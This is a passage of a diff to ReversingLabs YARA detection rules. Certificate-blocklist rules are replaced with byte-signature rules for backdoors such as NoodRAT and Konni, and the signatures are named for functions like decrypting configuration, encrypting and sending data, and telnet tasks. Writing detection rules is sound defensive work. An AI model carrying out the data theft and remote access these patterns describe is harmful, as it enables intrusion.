?? ?? 75 ?? 48 89 35 ?? ?? + ?? ?? 66 90 E9 ?? ?? ?? ?? 48 8D 3D ?? ?? ?? ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? E8 ?? + ?? ?? ?? 0F 1F 44 00 + } + $network_communication_tcp_p1 = { + 4C 8D 64 24 ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC 24 ?? ?? + ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 9C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 89 DF BB ?? ?? ?? ?? 48 89 C2 48 8D 05 ?? ?? ?? ?? 48 89 D1 E8 + ?? ?? ?? ?? 0F 1F 84 00 ?? ?? ?? ?? 48 85 C9 0F 84 ?? ?? ?? ?? 48 89 7C 24 ?? 48 89 + 4C 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B + 9C 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 84 24 ?? + ?? ?? ?? 48 8B 4C 24 ?? 48 85 C9 74 ?? 48 8B 49 ?? 48 89 8C 24 ?? ?? ?? ?? 48 8B 54 + 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? BB ?? ?? ?? ?? 48 8D 4C 24 ?? BF + ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 ?? 90 48 8D 05 ?? ?? + ?? ?? 66 90 E8 ?? ?? ?? ?? 48 8B 54 24 ?? 48 89 50 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 + 8B 54 24 ?? 48 89 10 90 EB ?? 48 89 C7 48 8B 54 24 ?? E8 ?? ?? ?? ?? 31 DB 48 8D 0D + ?? ?? ?? ?? 48 89 C7 31 C0 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 5C + } + $network_communication_tcp_p2 = { + 24 ?? 48 89 44 24 ?? 44 0F 11 7C 24 ?? 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? 48 89 + 4C 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8B 84 24 ?? ?? ?? ?? 48 8B 9C 24 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? 48 89 44 24 ?? 31 C0 48 + 8D 5C 24 ?? B9 ?? ?? ?? ?? 48 89 CF E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 0F 1F 40 ?? + E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 48 8B 4C 24 ?? 48 89 48 ?? 83 3D ?? ?? + ?? ?? ?? 90 75 ?? 48 8B 54 24 ?? 48 89 50 ?? 48 8B 9C 24 ?? ?? ?? ?? 48 89 58 ?? EB + ?? 48 8D 78 ?? 48 8B 54 24 ?? E8 ?? ?? ?? ?? 48 8D 78 ?? 48 8B 9C 24 ?? ?? ?? ?? E8 + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 31 C9 31 FF 48 8B AC 24 ?? + ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 89 44 24 ?? 48 89 5C 24 ?? 48 89 4C 24 ?? E8 ?? + ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 + } + $telnet_task_p1 = { + 4C 8D A4 24 ?? ?? ?? ?? 4D 3B 66 ?? 0F 86 ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? 48 89 AC + 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 89 B4 24 ?? ?? ?? + ?? 4C 89 54 24 ?? 4C 89 5C 24 ?? 48 89 9C 24 ?? ?? ?? ?? 4C 89 8C 24 ?? ?? ?? ?? 4C + 89 84 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 4F ?? 48 89 F0 FF D1 48 89 C3 31 + C0 E8 ?? ?? ?? ?? 84 C0 0F 85 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 44 0F 11 BC 24 + ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 8C 24 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 8B 84 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 + 8C 24 ?? ?? ?? ?? 48 89 84 24 ?? ?? ?? ?? 48 8B 1D ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? + 48 8D 8C 24 ?? ?? ?? ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? + 0F 1F 40 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 90 44 0F 11 7C 24 ?? 48 8D 0D ?? ?? ?? ?? + 48 89 4C 24 ?? 48 B9 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 4C 24 ?? 90 48 C7 44 24 ?? ?? ?? + ?? ?? C6 44 24 ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 4C 24 ?? C6 44 24 ?? ?? 48 8D 05 ?? + ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 0D ?? ?? ?? ?? 48 89 08 48 8B 8C 24 ?? ?? ?? ?? 48 89 + 48 ?? 83 3D ?? ?? ?? ?? ?? 75 ?? 48 8B 94 24 ?? ?? ?? ?? 48 89 50 ?? 48 8B 54 24 ?? + 48 89 50 ?? EB ?? 48 8D 78 ?? 48 8B 94 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D 78 ?? 48 + 8B 54 24 ?? E8 ?? ?? ?? ?? 44 0F 11 BC 24 ?? ?? ?? ?? 48 8D 54 24 ?? 48 89 94 24 ?? + ?? ?? ?? 48 8D 54 24 ?? 48 89 94 24 ?? ?? ?? ?? 48 89 C3 48 8D 8C 24 ?? ?? ?? ?? BF + ?? ?? ?? ?? 48 89 FE 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 8B 94 24 ?? ?? + ?? ?? 48 85 D2 74 ?? 48 8B 8C 24 ?? ?? ?? ?? 31 DB E9 ?? ?? ?? ?? 44 0F 11 7C 24 + } + $telnet_task_p2 = { + 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8D 15 ?? ?? ?? ?? 48 89 54 24 ?? 48 8B 1D ?? + ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 8D 4C 24 ?? BF ?? ?? ?? ?? 48 89 FE E8 ?? ?? ?? ?? + 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 8B + 44 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8D 1D ?? ?? ?? ?? 0F 1F 40 ?? E8 ?? ?? ?? + ?? 48 8B AC 24 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? C3 48 8B 74 24 ?? 48 83 C6 ?? 48 89 + CB 48 89 F1 48 89 5C 24 ?? 48 89 4C 24 ?? 0F 10 01 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 + ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 41 ?? 0F 11 84 + 24 ?? ?? ?? ?? 48 8B 44 24 ?? BB ?? ?? ?? ?? E8 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? + 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 + ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? 0F 10 84 24 ?? ?? ?? ?? 0F 11 84 24 ?? ?? ?? ?? + 48 8D 05 ?? ?? ?? ?? 48 8D 9C 24 ?? ?? ?? ?? 0F 1F 44 00 ?? E8 ?? ?? ?? ?? 48 8D 1D + ?? ?? ?? ?? 48 89 C1 48 8B 44 24 ?? E8 ?? ?? ?? ?? 48 8B 4C 24 ?? 48 FF C1 48 8B 94 + 24 ?? ?? ?? ?? 48 39 CA 0F 8F ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 44 24 ?? 48 89 5C 24 + ?? 48 89 4C 24 ?? 48 89 7C 24 ?? 48 89 74 24 ?? 4C 89 44 24 ?? 4C 89 4C 24 ?? 4C 89 + 54 24 ?? 4C 89 5C 24 ?? E8 ?? ?? ?? ?? 48 8B 44 24 ?? 48 8B 5C 24 ?? 48 8B 4C 24 ?? + 48 8B 7C 24 ?? 48 8B 74 24 ?? 4C 8B 44 24 ?? 4C 8B 4C 24 ?? 4C 8B 54 24 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "Korist Networks Incorporated" and pe.signatures [ i ] . serial == "36:96:88:30:55:97:5d:57:11:99:c6:b5:d4:8f:3c:d5" and 1600069289 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( all of ( $get_local_address_p* ) ) and ( all of ( $get_mac_address_p* ) ) and ( all of ( $network_communication_tcp_p* ) ) and ( all of ( $telnet_task_p* ) ) } - -rule REVERSINGLABS_Cert_Blocklist_Ee678930D5Bdfaa2Ab0172Fa4C10Ae07 : INFO FILE +rule REVERSINGLABS_Linux_Backdoor_Noodrat : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule that detects NoodRAT backdoor." author = "ReversingLabs" - id = "e2c2c34a-6177-5457-9ed9-fa34f82ee4cd" - date = "2020-08-05" - modified = "2023-11-08" + id = "ac5eae27-dc42-5060-b639-c23c0bbabb50" + date = "2024-08-26" + modified = "2024-08-26" reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5346-L5364" + source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/backdoor/Linux.Backdoor.NoodRAT.yara#L1-L162" license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "f1e254450fdbe94172a4fa2d2727c3ade5ae436cf4c0c1153a15e9a2f64f2452" + logic_hash = "2ec4a8ba7428054edb4dcdb6a00015b9758badf515f2c210bb946ba5402674d2" score = 75 quality = 90 - tags = "INFO, FILE" + tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE" status = "RELEASED" sharing = "TLP:WHITE" - category = "INFO" + category = "MALWARE" + tc_detection_type = "Backdoor" + tc_detection_name = "NoodRAT" + tc_detection_factor = 5 importance = 25 - condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LEX CORPORATION PTY LTD" and ( pe.signatures [ i ] . serial == "00:ee:67:89:30:d5:bd:fa:a2:ab:01:72:fa:4c:10:ae:07" or pe.signatures [ i ] . serial == "ee:67:89:30:d5:bd:fa:a2:ab:01:72:fa:4c:10:ae:07" ) and 1571011200 <= pe.signatures [ i ] . not_after ) -} - -rule REVERSINGLABS_Cert_Blocklist_D7C432E8D4Edef515Bfb9D1C214Ff0F5 : INFO FILE -{ - meta: - description = "Certificate used for digitally signing malware." - author = "ReversingLabs" - id = "5aed508e-2da1-52a0-98f3-52e903e95b7d" - date = "2020-08-05" - modified = "2023-11-08" - reference = "ReversingLabs" - source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/yara/certificate/blocklist.yara#L5366-L5384" - license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/e0a0be54aa1e11ccfd6854e4f19e9476f328fd84/LICENSE" - logic_hash = "63741513f3ab2f51ecd66dc973239c9dc194b86504fe26b2dd4a7f31299e5497" - score = 75 - quality = 90 - tags = "INFO, FILE" - status = "RELEASED" - sharing = "TLP:WHITE" - category = "INFO" - importance = 25 + strings: + $change_name_on_system_p1 = { + 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 FB 48 8D BC 24 ?? ?? ?? ?? B8 ?? + ?? ?? ?? B9 ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? 80 3D ?? ?? ?? ?? ?? 0F 84 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 0F B7 15 + ?? ?? ?? ?? 66 89 55 ?? 4C 8D 65 ?? 0F B7 D2 BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? + 48 8D 94 24 ?? ?? ?? ?? 0F B7 75 ?? 4C 89 E7 E8 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? + 4C 89 E6 48 89 EF E8 ?? ?? ?? ?? 4C 8B 03 48 C7 C6 ?? ?? ?? ?? 4C 89 C7 B8 ?? ?? ?? + ?? 48 89 F1 F2 AE 48 F7 D1 48 8D 14 31 48 89 EF 48 89 F1 F2 AE 48 89 CE 48 F7 D6 48 + 83 EE ?? 48 39 F2 72 ?? BE ?? ?? ?? ?? 4C 89 C7 E8 ?? ?? ?? ?? 48 89 EE 48 8B 3B E8 + ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? B8 ?? ?? ?? ?? B9 + ?? ?? ?? ?? F3 48 AB 48 8D BC 24 ?? ?? ?? ?? B1 ?? F3 48 AB C6 84 24 ?? ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? + 48 8D BC 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C2 B8 ?? ?? ?? ?? 48 85 + D2 0F 8E ?? ?? ?? ?? 48 C7 C2 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE 48 + } + $change_name_on_system_p2 = { + 89 CB 48 8D BC 24 ?? ?? ?? ?? 48 89 D1 F2 AE F7 D3 8D 5C 0B ?? 85 DB B8 ?? ?? ?? ?? + 0F 4E D8 48 8D B4 24 ?? ?? ?? ?? 48 8D AC 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 48 + 89 EF B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 8D 79 ?? 48 63 D3 48 63 + FF 48 8D 7C 3D ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? + ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? C6 84 24 ?? ?? ?? ?? ?? + C6 84 24 ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? 48 89 EF E8 ?? ?? ?? ?? 49 89 C6 48 + 8D B4 24 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 89 E7 B9 ?? + ?? ?? ?? B8 ?? ?? ?? ?? F3 48 AB C6 07 ?? 48 89 E5 41 BC ?? ?? ?? ?? 41 BD ?? ?? ?? + ?? EB ?? 48 89 EF 4C 89 E9 4C 89 E0 F3 48 AB C6 07 ?? 48 89 D9 BA ?? ?? ?? ?? BE ?? + ?? ?? ?? 48 89 E7 E8 ?? ?? ?? ?? 85 C0 7E ?? 48 63 D0 4C 89 F1 BE ?? ?? ?? ?? 48 89 + E7 E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 74 ?? 48 89 DF E8 ?? ?? ?? ?? 4C 89 + F7 E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? + ?? 85 C0 75 ?? 48 8D BC 24 ?? ?? ?? ?? 48 89 BC 24 ?? ?? ?? ?? 48 C7 84 24 ?? ?? ?? + ?? ?? ?? ?? ?? 48 8D B4 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 85 C0 7E + ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 8D BC 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? + ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E C3 + } + $decrypt_configuration_p1 = { + 41 57 41 56 41 55 41 54 55 53 48 81 EC ?? ?? ?? ?? 48 89 7C 24 ?? 48 8D 9C 24 ?? ?? + ?? ?? B8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 48 89 DF F3 48 AB C6 07 ?? 48 8D 54 24 ?? B1 ?? + 48 89 D7 F3 48 AB C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 + 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 54 24 ?? 0F B7 35 ?? ?? + ?? ?? BF ?? ?? ?? ?? E8 ?? ?? ?? ?? BF ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? + ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9 ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 BE ?? + ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? C6 44 24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89 + DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 50 ?? 48 89 54 24 ?? C6 00 ?? 48 + 8D 74 24 ?? 48 89 D7 E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? ?? ?? 48 8D 48 ?? 48 89 4C + 24 ?? C6 00 ?? 48 8D 74 24 ?? 48 89 CF E8 ?? ?? ?? ?? 48 89 44 24 ?? 48 85 C0 0F 84 + ?? ?? ?? ?? C6 00 ?? 48 8D B4 24 ?? ?? ?? ?? 48 C7 C5 ?? ?? ?? ?? 48 89 F7 41 BC ?? + ?? ?? ?? 48 89 E9 44 89 E0 F2 AE 48 F7 D1 48 01 E9 48 8D 5C 24 ?? 48 81 F9 ?? ?? ?? + ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 89 DF E8 ?? ?? ?? ?? 48 89 DF 48 89 E9 44 89 E0 F2 + AE 48 89 CD 48 F7 D5 83 ED ?? 8D 45 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C5 C6 44 04 + ?? ?? 83 C5 ?? 48 63 ED C6 44 2C ?? ?? 4C 8D 6C 24 ?? 4C 89 EB BD ?? ?? ?? ?? C7 44 + 24 ?? ?? ?? ?? ?? 66 C7 44 24 ?? ?? ?? 41 BC ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 + 44 24 ?? ?? ?? ?? ?? 49 C7 C6 ?? ?? ?? ?? 4D 89 EF E9 ?? ?? ?? ?? 0F B6 03 3C ?? 75 + ?? 44 8B 64 24 ?? 4D 6B E4 ?? 4C 03 64 24 ?? 49 8D 7C 24 ?? 83 7C 24 ?? ?? BA ?? ?? + ?? ?? 0F 4E 54 24 ?? 48 63 D2 8B 74 24 ?? 48 8D 44 24 ?? 48 8D 34 30 E8 + } + $decrypt_configuration_p2 = { + 0F B7 54 24 ?? 66 41 89 54 24 ?? 83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? 41 + BC ?? ?? ?? ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 66 89 44 24 ?? 44 89 64 24 ?? EB ?? 41 83 C4 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 F1 + 4C 89 FF B8 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82 + ?? ?? ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ?? + ?? B8 ?? ?? ?? ?? 48 89 DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 + D1 48 8D 51 ?? 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 44 + 24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ?? ?? + 80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B + 44 24 ?? C6 80 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 8B 54 24 ?? C6 82 ?? ?? ?? ?? + ?? 80 7C 24 ?? ?? 75 ?? 48 8B 4C 24 ?? C6 81 ?? ?? ?? ?? ?? 80 7C 24 ?? ?? 75 ?? 48 + 8B 44 24 ?? C6 80 ?? ?? ?? ?? ?? 48 8D 5C 24 ?? B9 ?? ?? ?? ?? B8 ?? ?? ?? ?? 48 89 + DF F3 48 AB 48 8B 7C 24 ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 48 83 E9 ?? 48 81 F9 + ?? ?? ?? ?? BA ?? ?? ?? ?? 48 0F 46 D1 48 8B 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? C6 44 + 24 ?? ?? C6 44 24 ?? ?? 48 8D 74 24 ?? 48 89 DF E8 ?? ?? ?? ?? 48 85 C0 0F 84 ?? ?? + ?? ?? 48 8D 7C 24 ?? B8 ?? ?? ?? ?? 48 C7 C1 ?? ?? ?? ?? F2 AE 48 F7 D1 83 E9 ?? 8D + } + $decrypt_configuration_p3 = { + 41 ?? 48 98 80 7C 04 ?? ?? 74 ?? 48 63 C1 C6 44 04 ?? ?? 83 C1 ?? 48 63 C9 C6 44 0C + ?? ?? 4C 89 EB BD ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 49 C7 + C4 ?? ?? ?? ?? 4C 8D 74 24 ?? 41 BF ?? ?? ?? ?? EB ?? 0F B6 03 3C ?? 75 ?? 8B 7C 24 + ?? 48 8D 54 24 ?? 48 8D 3C 3A BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 54 24 + ?? 48 81 C2 ?? ?? ?? ?? 48 8B 4C 24 ?? 66 89 44 91 ?? 0F B7 44 24 ?? 66 89 44 91 ?? + 83 44 24 ?? ?? 83 7C 24 ?? ?? 77 ?? 89 6C 24 ?? EB ?? 3C ?? 75 ?? 48 8D 7B ?? BA ?? + ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 66 89 44 24 ?? 83 C5 ?? 48 83 C3 ?? 4C 89 E1 + 4C 89 F7 44 89 F8 F2 AE 48 F7 D1 48 83 E9 ?? 48 89 D8 4C 29 E8 48 39 C8 0F 82 ?? ?? + ?? ?? 8B 4C 24 ?? 48 8B 54 24 ?? 89 8A ?? ?? ?? ?? EB ?? 48 8B 44 24 ?? C7 80 ?? ?? + ?? ?? ?? ?? ?? ?? 48 8B 7C 24 ?? 48 83 C7 ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? + ?? ?? 85 C0 BA ?? ?? ?? ?? 0F 4E C2 48 8B 54 24 ?? 89 82 ?? ?? ?? ?? B8 ?? ?? ?? ?? + EB ?? B8 ?? ?? ?? ?? 48 81 C4 ?? ?? ?? ?? 5B 5D 41 5C 41 5D 41 5E 41 5F C3 + } + $encrypt_and_send_data = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 4C 89 74 24 ?? 4C 89 7C + 24 ?? 48 83 EC ?? 41 89 FC 48 89 F5 49 89 D6 41 89 CD 48 85 F6 0F 84 ?? ?? ?? ?? BF + ?? ?? ?? ?? E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 0F 84 ?? ?? ?? ?? 48 8B 45 ?? 48 89 03 + 0F B6 45 ?? 88 43 ?? 8B 6B ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? BA ?? + ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 BA ?? ?? ?? ?? 48 89 DE 44 + 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? 48 + 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 ED 74 + ?? 4D 85 F6 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? E9 + ?? ?? ?? ?? 4C 63 FD 4C 89 FF E8 ?? ?? ?? ?? 48 89 C3 48 85 C0 74 ?? 4C 89 FA 4C 89 + F6 48 89 C7 E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 89 EE 48 89 DF E8 ?? ?? ?? ?? 44 89 E9 89 + EA 48 89 DE 44 89 E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 3D ?? ?? ?? ?? 48 83 C7 ?? E8 + ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? 48 8B 3D ?? ?? ?? ?? 48 83 + C7 ?? E8 ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 ?? ?? ?? ?? 48 + 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 4C 8B 74 24 ?? 4C 8B 7C 24 + ?? 48 83 C4 ?? C3 + } + $receive_and_decrypt_data = { + 48 89 5C 24 ?? 48 89 6C 24 ?? 4C 89 64 24 ?? 4C 89 6C 24 ?? 48 83 EC ?? 41 89 FC 48 + 89 F3 49 89 D5 89 CD 48 85 F6 74 ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? + ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 8B 53 ?? 85 D2 74 ?? 4D 85 ED 75 ?? + B8 ?? ?? ?? ?? EB ?? 81 FA ?? ?? ?? ?? 77 ?? 89 E9 4C 89 EE 44 89 E7 E8 ?? ?? ?? ?? + 85 C0 74 ?? 8B 73 ?? BA ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? B8 ?? ?? ?? ?? EB ?? B8 + ?? ?? ?? ?? 48 8B 5C 24 ?? 48 8B 6C 24 ?? 4C 8B 64 24 ?? 4C 8B 6C 24 ?? 48 83 C4 ?? + C3 + } condition: - uint16( 0 ) == 0x5A4D and for any i in ( 0 .. pe.number_of_signatures ) : ( pe.signatures [ i ] . subject contains "LLC \"MILKY PUT\"" and ( pe.signatures [ i ] . serial == "00:d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5" or pe.signatures [ i ] . serial == "d7:c4:32:e8:d4:ed:ef:51:5b:fb:9d:1c:21:4f:f0:f5" ) and 1601596800 <= pe.signatures [ i ] . not_after ) + uint32( 0 ) == 0x464C457F and ( ( all of ( $change_name_on_system_p* ) ) and ( all of ( $decrypt_configuration_p* ) ) and ( $encrypt_and_send_data ) and ( $receive_and_decrypt_data ) ) } - -rule REVERSINGLABS_Cert_Blocklist_5B440A47E8Ce3Dd202271E5C7A666C78 : INFO FILE +rule REVERSINGLABS_Win32_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE { meta: - description = "Certificate used for digitally signing malware." + description = "Yara rule 